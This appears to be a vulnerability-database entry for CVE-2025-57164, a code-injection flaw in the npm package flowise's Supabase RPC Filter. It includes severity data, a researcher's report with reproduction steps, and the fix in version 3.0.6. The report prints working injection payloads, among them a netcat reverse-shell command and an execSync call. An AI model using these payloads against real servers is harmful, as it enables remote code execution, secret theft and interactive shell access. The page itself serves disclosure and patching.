CVE-2025-57164 — flowise
MEDIUMCVE-2025-57164 is a medium-severity (CVSS 6.5) CWE-77 vulnerability in flowise. A fix is available for flowise — see the affected versions and patch details below.
FlowiseAI Pre-Auth Arbitrary Code Execution
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-57164.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
flowisenpmDescription
Summary
An authenticated admin user of FlowiseAI can exploit the Supabase RPC Filter component to execute arbitrary server-side code without restriction. By injecting a malicious payload into the filter expression field, the attacker can directly trigger JavaScript's execSync() to launch reverse shells, access environment secrets, or perform any OS-level command execution.
This results in full server compromise and severe breach of trust boundaries between frontend input and backend execution logic.
Details
FlowiseAI includes a component called Supabase.ts, located at: packages/components/nodes/vectorstores/Supabase/Supabase.ts#L237
This creates a function from user-provided string supabaseRPCFilter with no filtering, escaping, or sandboxing in place. Any injected JavaScript in this string is compiled and executed immediately when the node is triggered.
Exploit
We configured our environment to use Supabase entities as follows:
<img width="573" height="765" alt="image(4)" src="https://github.com/user-attachments/assets/b8c721db-7b6b-4fb4-99c1-a4b0c3f98caf" />To confirm the vulnerability, a filter expression was crafted to forcibly raise an error and expose sensitive environment variables:
<img width="1920" height="915" alt="image(5)" src="https://github.com/user-attachments/assets/19e377dd-fd78-4437-b2d4-48c72d75f947" />
This results in the JWT secret being printed to the frontend, confirming access to server-side environment variables.
Subsequently, a reverse shell was successfully established using:
filter(process.mainModule.require("child_process").execSync("nc [REDACTED] 9999 -e /bin/sh"), "gt", 5)
This proves arbitrary OS-level command execution is possible within the FlowiseAI backend runtime context.
Steps to Reproduce
-
Deploy a FlowiseAI instance with the Supabase vector store enabled.
-
Login as an admin user.
-
Drag in a
Supabasenode and configure "Supabase RPC Filter". -
Insert a malicious payload in the filter expression, such as:
process.mainModule.require("child_process").execSync("id") -
Trigger the chatbot or workflow to activate the node.
-
Observe execution of arbitrary code on the backend.
Impact
- Remote Code Execution (RCE): Full OS-level code execution from frontend user input.
- Environment Leakage: Access to sensitive env variables like
JWT_REFRESH_TOKEN_SECRET. - Reverse Shells: Ability to connect out of the server and gain interactive remote shell access.
- Persistence Risk: Attacker can install malware, establish persistence, or exfiltrate data.
- LLM Prompt Tampering: Malicious outputs may be injected back into LLM chains.
Trust Boundary Violation
The vulnerability breaks the boundary between frontend node configuration and backend execution logic. An attacker-supplied value (supabaseRPCFilter) becomes part of compiled JavaScript logic, blending user-controlled input with trusted backend execution.
This violates OWASP LLM Top 10 - LLM-06: Sensitive Code Execution, especially in low-code / visual LLM agents.
Evidence
Environment variable leakage via malformed JSON
Reverse shell successfully triggered using attacker-controlled input
Credit
This report was prepared by Team 404 Not Found 퇴근 (WhiteHat School 3rd cohort, South Korea)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | flowise | ≥ 3.0.5&&< 3.0.6 | 3.0.6npm install flowise@3.0.6 |
Affected Products
flowiseflowiseaiDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for flowise, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update flowise to 3.0.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-57164 is resolved across your whole dependency graph.
Workarounds
Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.
Frequently Asked Questions
Is CVE-2025-57164 in your dependencies?
Find it across npm, including transitive dependencies.